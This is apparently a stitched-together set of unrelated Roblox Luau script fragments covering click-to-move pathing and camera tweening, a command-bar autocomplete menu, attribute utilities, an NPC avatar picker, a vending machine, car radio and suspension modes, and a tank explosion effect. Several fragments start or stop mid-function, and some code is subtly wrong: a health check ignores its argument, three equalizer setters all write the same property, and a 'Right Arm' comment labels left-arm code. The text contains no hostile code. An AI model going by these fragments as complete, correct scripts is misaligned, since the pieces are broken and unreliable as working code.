local function IsInBottomLeft(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function IsInBottomRight(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function CheckAlive(character) local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local function ExploreWithRayCast(currentPoint, originDirection) local TestDistance = 40 local TestVectors = {} do local forwardVector = originDirection; for i = 0, 15 do table.insert(TestVectors, CFrame.Angles(0, math.pi / 8 * i, 0) * forwardVector) end end local testResults = {} -- Heuristic should be something along the lines of distance and closeness to the traveling direction local function ExploreHeuristic() for _, testData in pairs(testResults) do local walkDirection = -1 * originDirection local directionCoeff = (walkDirection:Dot(testData['Vector']) + 1) / 2 local distanceCoeff = testData['Distance'] / TestDistance testData["Value"] = directionCoeff * distanceCoeff end end for i, vec in pairs(TestVectors) do local hitPart, hitPos = Utility.Raycast(Ray.new(currentPoint, vec * TestDistance), true, {Player.Character}) if hitPos then table.insert(testResults, {Vector = vec; Distance = (hitPos - currentPoint).magnitude}) else table.insert(testResults, {Vector = vec; Distance = TestDistance}) end end ExploreHeuristic() table.sort(testResults, function(a,b) return a["Value"] > b["Value"] end) return testResults end local TapId = 1 local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() DrivingTo = nil if ExistingPather then ExistingPather:Cancel() end if PathCompleteListener then PathCompleteListener:disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:disconnect() PathFailedListener = nil end if ExistingIndicator then DebrisService:AddItem(ExistingIndicator, 0) ExistingIndicator = nil end end local function getExtentsSize(Parts) local maxX = Parts[1].Position.X local maxY = Parts[1].Position.Y local maxZ = Parts[1].Position.Z local minX = Parts[1].Position.X local minY = Parts[1].Position.Y local minZ = Parts[1].Position.Z for i = 2, #Parts do maxX = math_max(maxX, Parts[i].Position.X) maxY = math_max(maxY, Parts[i].Position.Y) maxZ = math_max(maxZ, Parts[i].Position.Z) minX = math_min(minX, Parts[i].Position.X) minY = math_min(minY, Parts[i].Position.Y) minZ = math_min(minZ, Parts[i].Position.Z) end return Region3.new(Vector3_new(minX, minY, minZ), Vector3_new(maxX, maxY, maxZ)) end local function inExtents(Extents, Position) if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then return false end if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then return false end --ignoring Y for now return true end local AutoJumperInstance = nil local ShootCount = 0 local FailCount = 0 local function OnTap(tapPositions, goToPoint) -- Good to remember if this is the latest tap event TapId = TapId + 1 local thisTapId = TapId local camera = workspace.CurrentCamera local character = Player.Character if not CheckAlive(character) then return end -- This is a path tap position if #tapPositions == 1 or goToPoint then if camera then local unitRay = Utility.GetUnitRay(tapPositions[1].x, tapPositions[1].y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera) local ray = Ray.new(unitRay.Origin, unitRay.Direction*400) local hitPart, hitPt = Utility.Raycast(ray, true, {character}) local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart) local torso = character and character:FindFirstChild("Humanoid") and character:FindFirstChild("Humanoid").Torso local startPos = torso.CFrame.p if goToPoint then hitPt = goToPoint hitChar = nil end if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then CleanupPath() local myHumanoid = findPlayerHumanoid(Player) if myHumanoid then myHumanoid:MoveTo(hitPt) end ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shooot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end elseif hitPt and character and not CurrentSeatPart then local thisPather = Pather(character, hitPt) if thisPather:IsValidPath() then FailCount = 0 -- TODO: Remove when bug in engine is fixed Player:Move(Vector3_new(1, 0, 0)) Player:Move(ZERO_VECTOR3) thisPather:Start() if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(false) end CleanupPath() local destinationGlobe = CreateDestinationIndicator(hitPt) destinationGlobe.Parent = camera ExistingPather = thisPather ExistingIndicator = destinationGlobe if AutoJumperInstance then AutoJumperInstance:Run() end PathCompleteListener = thisPather.Finished:connect(function() if AutoJumperInstance then AutoJumperInstance:Stop() end if destinationGlobe then if ExistingIndicator == destinationGlobe then ExistingIndicator = nil end DebrisService:AddItem(destinationGlobe, 0) destinationGlobe = nil end if hitChar then local humanoid = findPlayerHumanoid(Player) ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end if humanoid then humanoid:MoveTo(hitPt) end end local finishPos = torso and torso.CFrame.p --hitPt if finishPos and startPos and tick() - Utility.GetLastInput() > 2 then local exploreResults = ExploreWithRayCast(finishPos, ((startPos - finishPos) * XZ_VECTOR3).unit) -- Check for Nans etc.. if exploreResults[1] and exploreResults[1]["Vector"] and exploreResults[1]["Vector"].magnitude >= 0.5 and exploreResults[1]["Distance"] > 3 then if CameraModule then local rotatedCFrame = CameraModule:LookAtPreserveHeight(finishPos + exploreResults[1]["Vector"] * exploreResults[1]["Distance"]) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) end end end end) PathFailedListener = thisPather.PathFailed:connect(function() if AutoJumperInstance then AutoJumperInstance:Stop() end if destinationGlobe then FlashRed(destinationGlobe) DebrisService:AddItem(destinationGlobe, 3) end end) else if hitPt then -- Feedback here for when we don't have a good path local failedGlobe = CreateDestinationIndicator(hitPt) FlashRed(failedGlobe) DebrisService:AddItem(failedGlobe, 1) failedGlobe.Parent = camera if ExistingIndicator == nil then FailCount = FailCount + 1 if FailCount >= 3 then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end CleanupPath() end end end end elseif hitPt and character and CurrentSeatPart then local destinationGlobe = CreateDestinationIndicator(hitPt) destinationGlobe.Parent = camera ExistingIndicator = destinationGlobe DrivingTo = hitPt local ConnectedParts = CurrentSeatPart:GetConnectedParts(true) while task.wait() do if CurrentSeatPart and ExistingIndicator == destinationGlobe then local ExtentsSize = getExtentsSize(ConnectedParts) if inExtents(ExtentsSize, destinationGlobe.Position) then DebrisService:AddItem(destinationGlobe, 0) destinationGlobe = nil DrivingTo = nil break end else DebrisService:AddItem(destinationGlobe, 0) if CurrentSeatPart == nil and destinationGlobe == ExistingIndicator then DrivingTo = nil OnTap(tapPositions, hitPt) end destinationGlobe = nil break end end else -- no hit pt end end elseif #tapPositions >= 2 then if camera then ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shoot local avgPoint = Utility.AveragePoints(tapPositions) local unitRay = Utility.GetUnitRay(avgPoint.x, avgPoint.y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera) local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end end end end local function CreateClickToMoveModule() local this = {} local LastStateChange = 0 local LastState = Enum.HumanoidStateType.Running local FingerTouches = {} local NumUnsunkTouches = 0 -- PC simulation local mouse1Down = tick() local mouse1DownPos = Vector2.new() local mouse2Down = tick() local mouse2DownPos = Vector2.new() local mouse2Up = tick() local movementKeys = { [Enum.KeyCode.W] = true; [Enum.KeyCode.A] = true; [Enum.KeyCode.S] = true; [Enum.KeyCode.D] = true; [Enum.KeyCode.Up] = true; [Enum.KeyCode.Down] = true; } local TapConn = nil local InputBeganConn = nil local InputChangedConn = nil local InputEndedConn = nil local HumanoidDiedConn = nil local CharacterChildAddedConn = nil local OnCharacterAddedConn = nil local CharacterChildRemovedConn = nil local RenderSteppedConn = nil local HumanoidSeatedConn = nil local function disconnectEvent(event) if event then event:disconnect() end end local function DisconnectEvents() disconnectEvent(TapConn) disconnectEvent(InputBeganConn) disconnectEvent(InputChangedConn) disconnectEvent(InputEndedConn) disconnectEvent(HumanoidDiedConn) disconnectEvent(CharacterChildAddedConn) disconnectEvent(OnCharacterAddedConn) disconnectEvent(RenderSteppedConn) disconnectEvent(CharacterChildRemovedConn) pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end) disconnectEvent(HumanoidSeatedConn) end local function IsFinite(num) return num == num and num ~= 1/0 and num ~= -1/0 end local function findAngleBetweenXZVectors(vec2, vec1) return math_atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end -- Setup the camera CameraModule = ClassicCameraModule() do -- Extend The Camera Module Class function CameraModule:LookAtPreserveHeight(newLookAtPt) local camera = workspace.CurrentCamera local focus = camera.Focus.p local cameraCFrame = CameraModule.cframe local mag = Vector3_new(cameraCFrame.lookVector.x, 0, cameraCFrame.lookVector.z).magnitude local newLook = (Vector3_new(newLookAtPt.x, focus.y, newLookAtPt.z) - focus).unit * mag local flippedLook = newLook + Vector3_new(0, cameraCFrame.lookVector.y, 0) local distance = (focus - cameraCFrame.p).magnitude local newCamPos = focus - flippedLook.unit * distance return CFrame.new(newCamPos, newCamPos + flippedLook) end local lerp = CFrame.new().lerp function CameraModule:TweenCameraLook(desiredCFrame, speed) local e = 2.718281828459 local function SCurve(t) return 1/(1 + e^(-t*1.5)) end local function easeOutSine(t, b, c, d) if t >= d then return b + c end return c * math_sin(t/d * (math_pi/2)) + b; end local c0, c1 = CFrame_new(ZERO_VECTOR3, self:GetCameraLook()), desiredCFrame - desiredCFrame.p local theta = GetThetaBetweenCFrames(c0, c1) theta = clamp(0, math_pi, theta) local duration = 0.65 * SCurve(theta - math_pi/4) + 0.15 if speed then duration = theta / speed end local start = tick() local finish = start + duration self.UpdateTweenFunction = function() local currTime = tick() - start local alpha = clamp(0, 1, easeOutSine(currTime, 0, 1, duration)) local newCFrame = lerp(c0, c1, alpha) local y = findAngleBetweenXZVectors(newCFrame.lookVector, self:GetCameraLook()) if IsFinite(y) and math_abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2_new(y, 0) end return (currTime >= finish or alpha >= 1) end end end --- Done Extending local function OnTouchBegan(input, processed) if FingerTouches[input] == nil and not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end FingerTouches[input] = processed end local function OnTouchChanged(input, processed) if FingerTouches[input] == nil then FingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchEnded(input, processed) --print("Touch tap fake:" , processed) --if not processed then -- OnTap({input.Position}) --end if FingerTouches[input] ~= nil and FingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end FingerTouches[input] = nil end local function OnCharacterAdded(character) DisconnectEvents() InputBeganConn = UIS.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) -- Give back controls when they tap both sticks local wasInBottomLeft = IsInBottomLeft(input.Position) local wasInBottomRight = IsInBottomRight(input.Position) if wasInBottomRight or wasInBottomLeft then for otherInput, _ in pairs(FingerTouches) do if otherInput ~= input then local otherInputInLeft = IsInBottomLeft(otherInput.Position) local otherInputInRight = IsInBottomRight(otherInput.Position) if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end return end end end end end -- Cancel path when you use the keyboard controls. if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then CleanupPath() end if input.UserInputType == Enum.UserInputType.MouseButton1 then mouse1Down = tick() mouse1DownPos = input.Position end if input.UserInputType == Enum.UserInputType.MouseButton2 then mouse2Down = tick() mouse2DownPos = input.Position end end) InputChangedConn = UIS.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) end end) InputEndedConn = UIS.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) end if input.UserInputType == Enum.UserInputType.MouseButton2 then mouse2Up = tick() local currPos = input.Position if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then local positions = {currPos} OnTap(positions) end end end) TapConn = UIS.TouchTap:connect(function(touchPositions, processed) if not processed then OnTap(touchPositions) end end) if not UIS.TouchEnabled then -- PC if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end AutoJumperInstance = AutoJumper() end local function getThrottleAndSteer(object, point) local lookVector = (point - object.Position) lookVector = Vector3_new(lookVector.X, 0, lookVector.Z).unit local objectVector = Vector3_new(object.CFrame.lookVector.X, 0, object.CFrame.lookVector.Z).unit local dirVector = lookVector - objectVector local mag = dirVector.magnitude local degrees = math_deg(math_acos(lookVector:Dot(objectVector))) local side = (object.CFrame:pointToObjectSpace(point).X > 0) local throttle = 0 if mag < 0.25 then throttle = 1 end if mag > 1.8 then throttle = -1 end local distance = CurrentSeatPart.Position - DrivingTo local velocity = CurrentSeatPart.Velocity if velocity.magnitude*1.5 > distance.magnitude then if velocity.magnitude*0.5 > distance.magnitude then throttle = -throttle else throttle = 0 end end local steer = 0 if degrees > 5 and degrees < 175 then if side then steer = 1 else steer = -1 end end local rotatingAt = math_deg(CurrentSeatPart.RotVelocity.magnitude) local degreesAway = math_max(math_min(degrees, 180 - degrees), 10) if (CurrentSeatPart.RotVelocity.X < 0)== (steer < 0) then if rotatingAt*1.5 > degreesAway then if rotatingAt*0.5 > degreesAway then steer = -steer else steer = 0 end end end return throttle, steer end local function Update() if CameraModule then if CameraModule.UserPanningTheCamera then CameraModule.UpdateTweenFunction = nil else if CameraModule.UpdateTweenFunction then local done = CameraModule.UpdateTweenFunction() if done then CameraModule.UpdateTweenFunction = nil end end end CameraModule:Update() end if CurrentSeatPart then if DrivingTo then local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo) CurrentSeatPart.Throttle = throttle CurrentSeatPart.Steer = steer end end end local success = pcall(function() RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) end) if not success then if RenderSteppedConn then RenderSteppedConn:disconnect() end RenderSteppedConn = RunService.RenderStepped:connect(Update) end local WasAutoJumper = false local WasAutoJumpMobile = false local function onSeated(child, active, currentSeatPart) if active then if BindableEvent_EnableTouchJump then BindableEvent_EnableTouchJump:Fire(true) end if currentSeatPart and currentSeatPart.ClassName == "VehicleSeat" then CurrentSeatPart = currentSeatPart if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil WasAutoJumper = true else WasAutoJumper = false end if child.AutoJumpEnabled then WasAutoJumpMobile = true child.AutoJumpEnabled = false end end else CurrentSeatPart = nil if BindableEvent_EnableTouchJump then BindableEvent_EnableTouchJump:Fire(false) end if WasAutoJumper then AutoJumperInstance = AutoJumper() WasAutoJumper = false end if WasAutoJumpMobile then child.AutoJumpEnabled = true WasAutoJumpMobile = false end end end local function OnCharacterChildAdded(child) if UIS.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = true end end if child:IsA('Humanoid') then disconnectEvent(HumanoidDiedConn) HumanoidDiedConn = child.Died:connect(function() DebrisService:AddItem(ExistingIndicator, 1) if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end end) local WasAutoJumper = false local WasAutoJumpMobile = false HumanoidSeatedConn = child.Seated:connect(function(active, seat) onSeated(child, active, seat) end) if child.SeatPart then onSeated(child, true, child.SeatPart) end end end CharacterChildAddedConn = character.ChildAdded:connect(function(child) OnCharacterChildAdded(child) end) CharacterChildRemovedConn = character.ChildRemoved:connect(function(child) if UIS.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = false end end end) for _, child in pairs(character:GetChildren()) do OnCharacterChildAdded(child) end end local Running = false function this:Stop() if Running then DisconnectEvents() CleanupPath() if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end if CameraModule then CameraModule.UpdateTweenFunction = nil CameraModule:SetEnabled(false) end -- Restore tool activation on shutdown if UIS.TouchEnabled then local character = Player.Character if character then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then child.ManualActivationOnly = false end end end end DrivingTo = nil Running = false end end function this:Start() if not Running then if Player.Character then -- retro-listen OnCharacterAdded(Player.Character) end OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded) if CameraModule then CameraModule:SetEnabled(true) end Running = true end end return this end return CreateClickToMoveModule
--[=[ Observes an instance's ancestry @param instance Instance @param className string @return Observable<Instance?> ]=]
function RxInstanceUtils.observeFirstAncestor(instance, className) assert(typeof(instance) == "Instance", "Bad instance") assert(type(className) == "string", "Bad className") return Observable.new(function(sub) local maid = Maid.new() local lastFound = UNSET_VALUE local function handleAncestryChanged() local found = instance:FindFirstAncestorWhichIsA(className) if found ~= lastFound then lastFound = found sub:Fire(found) end end maid:GiveTask(instance.AncestryChanged:Connect(handleAncestryChanged)) handleAncestryChanged() return maid end) end
-- luacheck: ignore 212
local Players = game:GetService("Players") local Player = Players.LocalPlayer return function(Cmdr) local AutoComplete = { Items = {}, ItemOptions = {}, SelectedItem = 0, } local Util = Cmdr.Util local Gui = Player:WaitForChild("PlayerGui"):WaitForChild("Cmdr"):WaitForChild("Autocomplete") local AutoItem = Gui:WaitForChild("TextButton") local Title = Gui:WaitForChild("Title") local Description = Gui:WaitForChild("Description") local Entry = Gui.Parent:WaitForChild("Frame"):WaitForChild("Entry") AutoItem.Parent = nil -- Helper function that sets text and resizes labels local function SetText(obj, textObj, text, sizeFromContents) obj.Visible = text ~= nil textObj.Text = text or "" if sizeFromContents then textObj.Size = UDim2.new( 0, Util.GetTextSize(text or "", textObj, Vector2.new(1000, 1000), 1, 0).X, obj.Size.Y.Scale, obj.Size.Y.Offset ) end end -- Update the info display (Name, type, and description) based on given options. local function UpdateInfoDisplay(options) -- Update the objects' text and sizes SetText(Title, Title.Field, options.name, true) SetText( Title.Field.Type, Title.Field.Type, options.type and ": " .. options.type:sub(1, 1):upper() .. options.type:sub(2) ) SetText(Description, Description.Label, options.description) Description.Label.TextColor3 = options.invalid and Color3.fromRGB(255, 73, 73) or Color3.fromRGB(255, 255, 255) -- Calculate needed width and height local infoWidth = Title.Field.TextBounds.X + Title.Field.Type.TextBounds.X local guiWidth = math.max(infoWidth, Gui.Size.X.Offset) Description.Size = UDim2.new(1, 0, 0, 40) -- Flow description text while not Description.Label.TextFits do Description.Size = Description.Size + UDim2.new(0, 0, 0, 2) if Description.Size.Y.Offset > 500 then break end end -- Update container wait() Gui.UIListLayout:ApplyLayout() Gui.Size = UDim2.new(0, guiWidth, 0, Gui.UIListLayout.AbsoluteContentSize.Y) end --- Shows the auto complete menu with the given list and possible options -- item = {typedText, suggestedText, options?=options} -- The options table is optional. `at` should only be passed into AutoComplete::Show -- name, type, and description may be passed in an options dictionary inside the items as well -- options.at?: the character index at which to show the menu -- options.name?: The name to display in the info box -- options.type?: The type to display in the info box -- options.prefix?: The current type prefix (%Team) -- options.description?: The description for the currently active info box -- options.invalid?: If true, description is shown in red. -- options.isLast?: If true, auto complete won't keep going after this argument. function AutoComplete:Show(items, options) options = options or {} -- Remove old options. for _, item in pairs(self.Items) do if item.gui then item.gui:Destroy() end end -- Reset state self.SelectedItem = 1 self.Items = items self.Prefix = options.prefix or "" self.LastItem = options.isLast or false self.Command = options.command self.Arg = options.arg self.NumArgs = options.numArgs self.IsPartial = options.isPartial -- Generate the new option labels local autocompleteWidth = 200 for i, item in pairs(self.Items) do local leftText = item[1] local rightText = item[2] local btn = AutoItem:Clone() btn.Name = leftText .. rightText btn.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1 btn.Typed.Text = leftText btn.Suggest.Text = string.rep(" ", #leftText) .. rightText:sub(#leftText + 1) btn.Parent = Gui btn.LayoutOrder = i local maxBounds = math.max(btn.Typed.TextBounds.X, btn.Suggest.TextBounds.X) + 20 if maxBounds > autocompleteWidth then autocompleteWidth = maxBounds end item.gui = btn end Gui.UIListLayout:ApplyLayout() -- Todo: Use TextService to find accurate position for auto complete box local text = Entry.TextBox.Text local words = Util.SplitString(text) if text:sub(#text, #text) == " " and not options.at then words[#words + 1] = "e" end table.remove(words, #words) local extra = (options.at and options.at or (#table.concat(words, " ") + 1)) * 7 -- Update the auto complete container Gui.Position = UDim2.new(0, Entry.TextBox.AbsolutePosition.X - 10 + extra, 0, Entry.TextBox.AbsolutePosition.Y + 30) Gui.Size = UDim2.new(0, autocompleteWidth, 0, Gui.UIListLayout.AbsoluteContentSize.Y) Gui.Visible = true -- Finally, update thge info display UpdateInfoDisplay(self.Items[1] and self.Items[1].options or options) end --- Returns the selected item in the auto complete function AutoComplete:GetSelectedItem() if Gui.Visible == false then return nil end return AutoComplete.Items[AutoComplete.SelectedItem] end --- Hides the auto complete function AutoComplete:Hide() Gui.Visible = false end --- Returns if the menu is visible function AutoComplete:IsVisible() return Gui.Visible end --- Changes the user's item selection by the given delta function AutoComplete:Select(delta) if not Gui.Visible then return end self.SelectedItem = self.SelectedItem + delta if self.SelectedItem > #self.Items then self.SelectedItem = 1 elseif self.SelectedItem < 1 then self.SelectedItem = #self.Items end for i, item in pairs(self.Items) do item.gui.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1 end if self.Items[self.SelectedItem] and self.Items[self.SelectedItem].options then UpdateInfoDisplay(self.Items[self.SelectedItem].options or {}) end end return AutoComplete end
--[=[ Initializes an attribute for a given instance @param instance Instance @param attributeName string @param default any @return any? -- The value of the attribute ]=]
function AttributeUtils.initAttribute(instance, attributeName, default) assert(typeof(instance) == "Instance", "Bad instance") assert(typeof(attributeName) == "string", "Bad attributeName") local value = instance:GetAttribute(attributeName) if value == nil then instance:SetAttribute(attributeName, default) value = default end return value end
--[[ Calculates throttle and steer as influenced by user inputs ]]
function UserInput.get() return throttle, steer end return UserInput
-- Then, get a FriendPages object for their friends
local friendPages = Players:GetFriendsAsync(userId) local friends = {} for item,pageNO in iterPageItems(friendPages) do table.insert(friends,item.Id) end local usernames = {} for item,pageNO in iterPageItems(friendPages) do table.insert(usernames,item.Username) end local random = math.random(#friends) local randomFriend = friends[random] local newhumanoid = game.Players:GetHumanoidDescriptionFromUserId(randomFriend) local npc = script.Parent npc.Humanoid:ApplyDescription(newhumanoid) npc.NameNPC.Value = usernames[random]
-- This is the Selection Script of a BloxyCola, an easer way to under stand this
local drink = script.Parent.Parent.Snacks.BloxyCola -- Location of BloxyCola, the soda we want to fall out of Holder1 local spot = script.Parent.Parent.Holders.Holder1 -- Location of Holder1, place where soda is dropped local db = false -- I honestly don't know what this means function onClick() -- once you click the button, a soda will appear in Holder1 if db == false then db = true local d = drink:clone() -- Cloning the soda to fall out of Holder1 d.Handle.Position = spot.Position d.Parent = game.Workspace d.Handle.Anchored = false wait(5) -- How long you have to wait until you can drop another soda db = false end end script.Parent.ClickDetector.MouseClick:connect(onClick)
-- carSeat.Parent.Body.Dash.Screen.G.Radio.VOLMENU.VolumeText.Text = "VOLUME: "..carSeat.Parent.Body.MP.Sound.Volume
end F.updateSong = function(Song) carSeat.Parent.Body.MP.Sound:Stop() wait() carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song wait() carSeat.Parent.Body.MP.Sound:Play() end F.lg = function(n) carSeat.Parent.Body.MP.Sound.ES.HighGain = n end F.mg = function(n) carSeat.Parent.Body.MP.Sound.ES.HighGain = n end F.hg = function(n) carSeat.Parent.Body.MP.Sound.ES.HighGain = n end F.eq = function(n) carSeat.Parent.Body.MP.Sound.ES.Enabled = n end F.updateVolume = function(Vol) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol
-- Right Arm
character:FindFirstChild("LeftUpperArm").LocalTransparencyModifier = 0 character:FindFirstChild("LeftLowerArm").LocalTransparencyModifier = 0 character:FindFirstChild("LeftHand").LocalTransparencyModifier = 0
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:Disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc) end end
--- Parses escape sequences into their fully qualified characters
function Util.ParseEscapeSequences(text) return text:gsub("\\(.)", { t = "\t"; n = "\n"; }) :gsub("\\u(%x%x%x%x)", charCode) :gsub("\\x(%x%x)", charCode) end local function encodeControlChars(text) return first( text :gsub("\\\\", string.char(17)) :gsub("\\\"", string.char(18)) :gsub("\\'", string.char(19)) ) end local function decodeControlChars(text) return first( text :gsub(string.char(17), "\\") :gsub(string.char(18), "\"") :gsub(string.char(19), "'") ) end
-- Start of Destroyed Animation
-- Start of Flag Popping Animation Vehicle.Turret.Rod.Transparency = 0 Vehicle.Turret.Rod.Hatch:Play() wait(1) Vehicle.Turret.Flag.Transparency = 0 Vehicle.Turret.Flag.Pop:Play() Vehicle.Turret.Flag.Pop2:Play() wait() Vehicle.Turret.Flag.Pop.Volume = 0 Vehicle.Turret.Flag.Pop2.Volume = 0 Vehicle.Turret.Rod.Hatch.Volume = 0 -- End of Flag Popping -- Start of Explosion Thingy local Explo = Instance.new ("Sound") Explo.SoundId = "rbxassetid://689314212" Explo.PlayOnRemove = false Explo.Parent = Engine Explo:play() wait() local Explosion = Instance.new("Explosion") Explosion.BlastRadius = 5 Explosion.BlastPressure = 1 Explosion.Parent = game.Workspace Explosion.Position = Engine.Position Explosion.DestroyJointRadiusPercent = 0 -- End of Explosion Thingy -- Deletion of Velocities Engine.Parent.VehicleSeat.Throttle = Engine.Parent.VehicleSeat.Throttle Engine.Parent.VehicleSeat.MaxSpeed = Engine.Parent.VehicleSeat.MaxSpeed Engine.Parent.VehicleSeat.Steer = Engine.Parent.VehicleSeat.Steer Engine.BodyAngularVelocity:Destroy() Engine.BodyGyro:Destroy() Engine.BodyVelocity:Destroy() print("BodyAngularVelocity,BodyGyro,BodyVelocity Deleted, Enemy Tank Disabled") -- Generation of Fire local fi = Instance.new("Fire") fi.Heat = 25 fi.Size = 10 fi.Parent = Engine local Smokey = script.DisabledVehicleSmoke:Clone() Smokey.Parent = Engine Smokey.Name = "DSmoke" Smokey.Enabled = true print("End of DestroyScript") end
--[[ automatically un assings an ID for the user and makes it free for the next user --]]
game.Players.PlayerRemoving:Connect(function(plr) Network:unassign_id(plr) end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 300 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 3000 -- Use sliders to manipulate values Tune.Redline = 3700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 3200 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--F.updateSound = function(Sound, Pitch, Volume) -- if Sound then -- if Pitch then -- Sound.Pitch = Pitch -- end -- if Volume then -- Sound.Volume = Volume -- end -- end --end
F.updateWindows = function(Window, Toggle) if script.Parent.Parent.Windows:findFirstChild(Window) then script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle end end F.volumedown = function(VolDown) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1 end F.volumeup = function(VolUp) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1 end F.fm = function(ok) carSeat.Parent.Body.MP.Sound:Stop() carSeat.Stations.mood.Value = ok end F.updateSong = function(id) carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() wait() carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id wait() carSeat.Parent.Body.MP.Sound:Play() end F.pauseSong = function() carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() end F.updateVolume = function(Vol) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5 end F.updateValue = function(Val, Value) if Val then Val.Value = Value end end F.Eco = function() carSeat.Mode.Value = "Eco" carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.2 carSeat.EcoIdle.Value = 0 end F.Comfort = function() carSeat.Mode.Value = "Comfort" carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.2 carSeat.EcoIdle.Value = 1 end F.Sport = function() carSeat.Mode.Value = "Sport" carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.1 carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.1 carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.1 carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.1 carSeat.EcoIdle.Value = 1 end F.MirrorsFOLD = function() car.Misc.FL.Mirror.SS.Motor.DesiredAngle = 0.9 